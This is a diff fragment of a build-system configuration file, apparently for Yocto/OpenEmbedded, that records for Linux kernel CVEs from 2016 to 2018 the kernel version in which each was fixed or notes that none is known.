+CVE_STATUS[CVE-2016-7425] = "fixed-version: Fixed from version 4.9rc1"
+
+CVE_STATUS[CVE-2016-7910] = "fixed-version: Fixed from version 4.8rc1"
+
+CVE_STATUS[CVE-2016-7911] = "fixed-version: Fixed from version 4.7rc7"
+
+CVE_STATUS[CVE-2016-7912] = "fixed-version: Fixed from version 4.6rc5"
+
+CVE_STATUS[CVE-2016-7913] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-7914] = "fixed-version: Fixed from version 4.6rc4"
+
+CVE_STATUS[CVE-2016-7915] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-7916] = "fixed-version: Fixed from version 4.6rc7"
+
+CVE_STATUS[CVE-2016-7917] = "fixed-version: Fixed from version 4.5rc6"
+
+CVE_STATUS[CVE-2016-8399] = "fixed-version: Fixed from version 4.9"
+
+# Skipping CVE-2016-8401, no affected_versions
+
+# Skipping CVE-2016-8402, no affected_versions
+
+# Skipping CVE-2016-8403, no affected_versions
+
+# Skipping CVE-2016-8404, no affected_versions
+
+CVE_STATUS[CVE-2016-8405] = "fixed-version: Fixed from version 4.10rc6"
+
+# Skipping CVE-2016-8406, no affected_versions
+
+# Skipping CVE-2016-8407, no affected_versions
+
+CVE_STATUS[CVE-2016-8630] = "fixed-version: Fixed from version 4.9rc4"
+
+CVE_STATUS[CVE-2016-8632] = "fixed-version: Fixed from version 4.9rc8"
+
+CVE_STATUS[CVE-2016-8633] = "fixed-version: Fixed from version 4.9rc4"
+
+CVE_STATUS[CVE-2016-8636] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2016-8645] = "fixed-version: Fixed from version 4.9rc6"
+
+CVE_STATUS[CVE-2016-8646] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2016-8650] = "fixed-version: Fixed from version 4.9rc7"
+
+CVE_STATUS[CVE-2016-8655] = "fixed-version: Fixed from version 4.9rc8"
+
+CVE_STATUS[CVE-2016-8658] = "fixed-version: Fixed from version 4.8rc7"
+
+# CVE-2016-8660 has no known resolution
+
+CVE_STATUS[CVE-2016-8666] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-9083] = "fixed-version: Fixed from version 4.9rc4"
+
+CVE_STATUS[CVE-2016-9084] = "fixed-version: Fixed from version 4.9rc4"
+
+CVE_STATUS[CVE-2016-9120] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-9178] = "fixed-version: Fixed from version 4.8rc7"
+
+CVE_STATUS[CVE-2016-9191] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2016-9313] = "fixed-version: Fixed from version 4.9rc3"
+
+CVE_STATUS[CVE-2016-9555] = "fixed-version: Fixed from version 4.9rc4"
+
+CVE_STATUS[CVE-2016-9576] = "fixed-version: Fixed from version 4.9"
+
+CVE_STATUS[CVE-2016-9588] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2016-9604] = "fixed-version: Fixed from version 4.11rc8"
+
+# Skipping CVE-2016-9644, no affected_versions
+
+CVE_STATUS[CVE-2016-9685] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-9754] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-9755] = "fixed-version: Fixed from version 4.9rc8"
+
+CVE_STATUS[CVE-2016-9756] = "fixed-version: Fixed from version 4.9rc7"
+
+CVE_STATUS[CVE-2016-9777] = "fixed-version: Fixed from version 4.9rc7"
+
+CVE_STATUS[CVE-2016-9793] = "fixed-version: Fixed from version 4.9rc8"
+
+CVE_STATUS[CVE-2016-9794] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-9806] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-9919] = "fixed-version: Fixed from version 4.9rc8"
+
+# Skipping CVE-2017-0403, no affected_versions
+
+# Skipping CVE-2017-0404, no affected_versions
+
+# Skipping CVE-2017-0426, no affected_versions
+
+# Skipping CVE-2017-0427, no affected_versions
+
+# CVE-2017-0507 has no known resolution
+
+# CVE-2017-0508 has no known resolution
+
+# Skipping CVE-2017-0510, no affected_versions
+
+# Skipping CVE-2017-0528, no affected_versions
+
+# Skipping CVE-2017-0537, no affected_versions
+
+# CVE-2017-0564 has no known resolution
+
+CVE_STATUS[CVE-2017-0605] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-0627] = "fixed-version: Fixed from version 4.14rc1"
+
+# CVE-2017-0630 has no known resolution
+
+# CVE-2017-0749 has no known resolution
+
+CVE_STATUS[CVE-2017-0750] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2017-0786] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-0861] = "fixed-version: Fixed from version 4.15rc3"
+
+CVE_STATUS[CVE-2017-1000] = "fixed-version: Fixed from version 4.13rc5"
+
+CVE_STATUS[CVE-2017-1000111] = "fixed-version: Fixed from version 4.13rc5"
+
+CVE_STATUS[CVE-2017-1000112] = "fixed-version: Fixed from version 4.13rc5"
+
+CVE_STATUS[CVE-2017-1000251] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2017-1000252] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2017-1000253] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2017-1000255] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-1000363] = "fixed-version: Fixed from version 4.12rc2"
+
+CVE_STATUS[CVE-2017-1000364] = "fixed-version: Fixed from version 4.12rc6"
+
+CVE_STATUS[CVE-2017-1000365] = "fixed-version: Fixed from version 4.12rc7"
+
+CVE_STATUS[CVE-2017-1000370] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-1000371] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-1000379] = "fixed-version: Fixed from version 4.12rc6"
+
+CVE_STATUS[CVE-2017-1000380] = "fixed-version: Fixed from version 4.12rc5"
+
+CVE_STATUS[CVE-2017-1000405] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2017-1000407] = "fixed-version: Fixed from version 4.15rc3"
+
+CVE_STATUS[CVE-2017-1000410] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2017-10661] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-10662] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-10663] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-10810] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-10911] = "fixed-version: Fixed from version 4.12rc7"
+
+CVE_STATUS[CVE-2017-11089] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-11176] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-11472] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-11473] = "fixed-version: Fixed from version 4.13rc2"
+
+CVE_STATUS[CVE-2017-11600] = "fixed-version: Fixed from version 4.13"
+
+CVE_STATUS[CVE-2017-12134] = "fixed-version: Fixed from version 4.13rc6"
+
+CVE_STATUS[CVE-2017-12146] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-12153] = "fixed-version: Fixed from version 4.14rc2"
+
+CVE_STATUS[CVE-2017-12154] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2017-12168] = "fixed-version: Fixed from version 4.9rc6"
+
+CVE_STATUS[CVE-2017-12188] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-12190] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-12192] = "fixed-version: Fixed from version 4.14rc3"
+
+CVE_STATUS[CVE-2017-12193] = "fixed-version: Fixed from version 4.14rc7"
+
+CVE_STATUS[CVE-2017-12762] = "fixed-version: Fixed from version 4.13rc4"
+
+CVE_STATUS[CVE-2017-13080] = "fixed-version: Fixed from version 4.14rc6"
+
+CVE_STATUS[CVE-2017-13166] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2017-13167] = "fixed-version: Fixed from version 4.5rc4"
+
+CVE_STATUS[CVE-2017-13168] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2017-13215] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2017-13216] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2017-13220] = "fixed-version: Fixed from version 3.19rc3"
+
+# CVE-2017-13221 has no known resolution
+
+# CVE-2017-13222 has no known resolution
+
+CVE_STATUS[CVE-2017-13305] = "fixed-version: Fixed from version 4.12rc5"
+
+CVE_STATUS[CVE-2017-13686] = "fixed-version: Fixed from version 4.13rc7"
+
+# CVE-2017-13693 has no known resolution
+
+# CVE-2017-13694 has no known resolution
+
+CVE_STATUS[CVE-2017-13695] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2017-13715] = "fixed-version: Fixed from version 4.3rc1"
+
+CVE_STATUS[CVE-2017-14051] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2017-14106] = "fixed-version: Fixed from version 4.12rc3"
+
+CVE_STATUS[CVE-2017-14140] = "fixed-version: Fixed from version 4.13rc6"
+
+CVE_STATUS[CVE-2017-14156] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2017-14340] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2017-14489] = "fixed-version: Fixed from version 4.14rc3"
+
+CVE_STATUS[CVE-2017-14497] = "fixed-version: Fixed from version 4.13"
+
+CVE_STATUS[CVE-2017-14954] = "fixed-version: Fixed from version 4.14rc3"
+
+CVE_STATUS[CVE-2017-14991] = "fixed-version: Fixed from version 4.14rc2"
+
+CVE_STATUS[CVE-2017-15102] = "fixed-version: Fixed from version 4.9rc1"
+
+CVE_STATUS[CVE-2017-15115] = "fixed-version: Fixed from version 4.14rc6"
+
+CVE_STATUS[CVE-2017-15116] = "fixed-version: Fixed from version 4.2rc1"
+
+CVE_STATUS[CVE-2017-15121] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2017-15126] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-15127] = "fixed-version: Fixed from version 4.13rc5"
+
+CVE_STATUS[CVE-2017-15128] = "fixed-version: Fixed from version 4.14rc8"
+
+CVE_STATUS[CVE-2017-15129] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-15265] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-15274] = "fixed-version: Fixed from version 4.12rc5"
+
+CVE_STATUS[CVE-2017-15299] = "fixed-version: Fixed from version 4.14rc6"
+
+CVE_STATUS[CVE-2017-15306] = "fixed-version: Fixed from version 4.14rc7"
+
+CVE_STATUS[CVE-2017-15537] = "fixed-version: Fixed from version 4.14rc3"
+
+CVE_STATUS[CVE-2017-15649] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-15868] = "fixed-version: Fixed from version 3.19rc3"
+
+CVE_STATUS[CVE-2017-15951] = "fixed-version: Fixed from version 4.14rc6"
+
+CVE_STATUS[CVE-2017-16525] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-16526] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-16527] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-16528] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2017-16529] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-16530] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-16531] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-16532] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-16533] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-16534] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2017-16535] = "fixed-version: Fixed from version 4.14rc6"
+
+CVE_STATUS[CVE-2017-16536] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-16537] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-16538] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2017-16643] = "fixed-version: Fixed from version 4.14rc7"
+
+CVE_STATUS[CVE-2017-16644] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2017-16645] = "fixed-version: Fixed from version 4.14rc6"
+
+CVE_STATUS[CVE-2017-16646] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-16647] = "fixed-version: Fixed from version 4.14"
+
+CVE_STATUS[CVE-2017-16648] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-16649] = "fixed-version: Fixed from version 4.14"
+
+CVE_STATUS[CVE-2017-16650] = "fixed-version: Fixed from version 4.14"
+
+CVE_STATUS[CVE-2017-16911] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-16912] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-16913] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-16914] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-16939] = "fixed-version: Fixed from version 4.14rc7"
+
+CVE_STATUS[CVE-2017-16994] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-16995] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-16996] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17052] = "fixed-version: Fixed from version 4.13rc7"
+
+CVE_STATUS[CVE-2017-17053] = "fixed-version: Fixed from version 4.13rc7"
+
+CVE_STATUS[CVE-2017-17448] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-17449] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-17450] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-17558] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-17712] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-17741] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17805] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-17806] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-17807] = "fixed-version: Fixed from version 4.15rc3"
+
+CVE_STATUS[CVE-2017-17852] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17853] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17854] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17855] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17856] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17857] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17862] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-17863] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17864] = "fixed-version: Fixed from version 4.15rc5"
+
+CVE_STATUS[CVE-2017-17975] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2017-18017] = "fixed-version: Fixed from version 4.11rc7"
+
+CVE_STATUS[CVE-2017-18075] = "fixed-version: Fixed from version 4.15rc7"
+
+CVE_STATUS[CVE-2017-18079] = "fixed-version: Fixed from version 4.13rc1"
+
+# CVE-2017-18169 has no known resolution
+
+CVE_STATUS[CVE-2017-18174] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2017-18193] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-18200] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-18202] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2017-18203] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-18204] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-18208] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2017-18216] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-18218] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-18221] = "fixed-version: Fixed from version 4.12rc4"
+
+CVE_STATUS[CVE-2017-18222] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-18224] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2017-18232] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2017-18241] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-18249] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-18255] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-18257] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-18261] = "fixed-version: Fixed from version 4.13rc6"
+
+CVE_STATUS[CVE-2017-18270] = "fixed-version: Fixed from version 4.14rc3"
+
+CVE_STATUS[CVE-2017-18344] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2017-18360] = "fixed-version: Fixed from version 4.12rc2"
+
+CVE_STATUS[CVE-2017-18379] = "fixed-version: Fixed from version 4.14rc3"
+
+CVE_STATUS[CVE-2017-18509] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-18549] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-18550] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-18551] = "fixed-version: Fixed from version 4.15rc9"
+
+CVE_STATUS[CVE-2017-18552] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-18595] = "fixed-version: Fixed from version 4.15rc6"
+
+CVE_STATUS[CVE-2017-2583] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-2584] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-2596] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-2618] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-2634] = "fixed-version: Fixed from version 2.6.25rc1"
+
+CVE_STATUS[CVE-2017-2636] = "fixed-version: Fixed from version 4.11rc2"
+
+CVE_STATUS[CVE-2017-2647] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2017-2671] = "fixed-version: Fixed from version 4.11rc6"
+
+CVE_STATUS[CVE-2017-5123] = "fixed-version: Fixed from version 4.14rc5"
+
+CVE_STATUS[CVE-2017-5546] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-5547] = "fixed-version: Fixed from version 4.10rc5"
+
+CVE_STATUS[CVE-2017-5548] = "fixed-version: Fixed from version 4.10rc5"
+
+CVE_STATUS[CVE-2017-5549] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-5550] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-5551] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-5576] = "fixed-version: Fixed from version 4.10rc6"
+
+CVE_STATUS[CVE-2017-5577] = "fixed-version: Fixed from version 4.10rc6"
+
+CVE_STATUS[CVE-2017-5669] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-5715] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2017-5753] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2017-5754] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2017-5897] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-5967] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-5970] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-5972] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2017-5986] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-6001] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-6074] = "fixed-version: Fixed from version 4.10"
+
+CVE_STATUS[CVE-2017-6214] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-6345] = "fixed-version: Fixed from version 4.10"
+
+CVE_STATUS[CVE-2017-6346] = "fixed-version: Fixed from version 4.10"
+
+CVE_STATUS[CVE-2017-6347] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-6348] = "fixed-version: Fixed from version 4.10"
+
+CVE_STATUS[CVE-2017-6353] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-6874] = "fixed-version: Fixed from version 4.11rc2"
+
+CVE_STATUS[CVE-2017-6951] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2017-7184] = "fixed-version: Fixed from version 4.11rc5"
+
+CVE_STATUS[CVE-2017-7187] = "fixed-version: Fixed from version 4.11rc5"
+
+CVE_STATUS[CVE-2017-7261] = "fixed-version: Fixed from version 4.11rc6"
+
+CVE_STATUS[CVE-2017-7273] = "fixed-version: Fixed from version 4.10rc4"
+
+CVE_STATUS[CVE-2017-7277] = "fixed-version: Fixed from version 4.11rc4"
+
+CVE_STATUS[CVE-2017-7294] = "fixed-version: Fixed from version 4.11rc6"
+
+CVE_STATUS[CVE-2017-7308] = "fixed-version: Fixed from version 4.11rc6"
+
+CVE_STATUS[CVE-2017-7346] = "fixed-version: Fixed from version 4.12rc5"
+
+# CVE-2017-7369 has no known resolution
+
+CVE_STATUS[CVE-2017-7374] = "fixed-version: Fixed from version 4.11rc4"
+
+CVE_STATUS[CVE-2017-7472] = "fixed-version: Fixed from version 4.11rc8"
+
+CVE_STATUS[CVE-2017-7477] = "fixed-version: Fixed from version 4.11"
+
+CVE_STATUS[CVE-2017-7482] = "fixed-version: Fixed from version 4.12rc7"
+
+CVE_STATUS[CVE-2017-7487] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-7495] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2017-7518] = "fixed-version: Fixed from version 4.12rc7"
+
+CVE_STATUS[CVE-2017-7533] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-7541] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-7542] = "fixed-version: Fixed from version 4.13rc2"
+
+CVE_STATUS[CVE-2017-7558] = "fixed-version: Fixed from version 4.13"
+
+CVE_STATUS[CVE-2017-7616] = "fixed-version: Fixed from version 4.11rc6"
+
+CVE_STATUS[CVE-2017-7618] = "fixed-version: Fixed from version 4.11rc8"
+
+CVE_STATUS[CVE-2017-7645] = "fixed-version: Fixed from version 4.11"
+
+CVE_STATUS[CVE-2017-7889] = "fixed-version: Fixed from version 4.11rc7"
+
+CVE_STATUS[CVE-2017-7895] = "fixed-version: Fixed from version 4.11"
+
+CVE_STATUS[CVE-2017-7979] = "fixed-version: Fixed from version 4.11rc8"
+
+CVE_STATUS[CVE-2017-8061] = "fixed-version: Fixed from version 4.11rc4"
+
+CVE_STATUS[CVE-2017-8062] = "fixed-version: Fixed from version 4.11rc2"
+
+CVE_STATUS[CVE-2017-8063] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-8064] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-8065] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-8066] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-8067] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2017-8068] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-8069] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-8070] = "fixed-version: Fixed from version 4.10rc8"
+
+CVE_STATUS[CVE-2017-8071] = "fixed-version: Fixed from version 4.10rc7"
+
+CVE_STATUS[CVE-2017-8072] = "fixed-version: Fixed from version 4.10rc7"
+
+CVE_STATUS[CVE-2017-8106] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2017-8240] = "fixed-version: Fixed from version 3.19rc6"
+
+# CVE-2017-8242 has no known resolution
+
+# CVE-2017-8244 has no known resolution
+
+# CVE-2017-8245 has no known resolution
+
+# CVE-2017-8246 has no known resolution
+
+CVE_STATUS[CVE-2017-8797] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-8824] = "fixed-version: Fixed from version 4.15rc3"
+
+CVE_STATUS[CVE-2017-8831] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-8890] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-8924] = "fixed-version: Fixed from version 4.11rc2"
+
+CVE_STATUS[CVE-2017-8925] = "fixed-version: Fixed from version 4.11rc2"
+
+CVE_STATUS[CVE-2017-9059] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-9074] = "fixed-version: Fixed from version 4.12rc2"
+
+CVE_STATUS[CVE-2017-9075] = "fixed-version: Fixed from version 4.12rc2"
+
+CVE_STATUS[CVE-2017-9076] = "fixed-version: Fixed from version 4.12rc2"
+
+CVE_STATUS[CVE-2017-9077] = "fixed-version: Fixed from version 4.12rc2"
+
+CVE_STATUS[CVE-2017-9150] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2017-9211] = "fixed-version: Fixed from version 4.12rc3"
+
+CVE_STATUS[CVE-2017-9242] = "fixed-version: Fixed from version 4.12rc3"
+
+CVE_STATUS[CVE-2017-9605] = "fixed-version: Fixed from version 4.12rc5"
+
+CVE_STATUS[CVE-2017-9725] = "fixed-version: Fixed from version 4.3rc7"
+
+CVE_STATUS[CVE-2017-9984] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-9985] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2017-9986] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2018-1000004] = "fixed-version: Fixed from version 4.15rc9"
+
+CVE_STATUS[CVE-2018-1000026] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2018-1000028] = "fixed-version: Fixed from version 4.15"
+
+CVE_STATUS[CVE-2018-1000199] = "fixed-version: Fixed from version 4.16"
+
+CVE_STATUS[CVE-2018-1000200] = "fixed-version: Fixed from version 4.17rc5"
+
+CVE_STATUS[CVE-2018-1000204] = "fixed-version: Fixed from version 4.17rc7"
+
+CVE_STATUS[CVE-2018-10021] = "fixed-version: Fixed from version 4.16rc7"
+
+CVE_STATUS[CVE-2018-10074] = "fixed-version: Fixed from version 4.16rc7"
+
+CVE_STATUS[CVE-2018-10087] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2018-10124] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2018-10322] = "fixed-version: Fixed from version 4.17rc4"
+
+CVE_STATUS[CVE-2018-10323] = "fixed-version: Fixed from version 4.17rc4"
+
+CVE_STATUS[CVE-2018-1065] = "fixed-version: Fixed from version 4.16rc3"
+
+CVE_STATUS[CVE-2018-1066] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2018-10675] = "fixed-version: Fixed from version 4.13rc6"
+
+CVE_STATUS[CVE-2018-1068] = "fixed-version: Fixed from version 4.16rc5"
+
+CVE_STATUS[CVE-2018-10840] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-10853] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-1087] = "fixed-version: Fixed from version 4.16rc7"
+
+# CVE-2018-10872 has no known resolution
+
+CVE_STATUS[CVE-2018-10876] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-10877] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-10878] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-10879] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-10880] = "fixed-version: Fixed from version 4.18rc4"
+
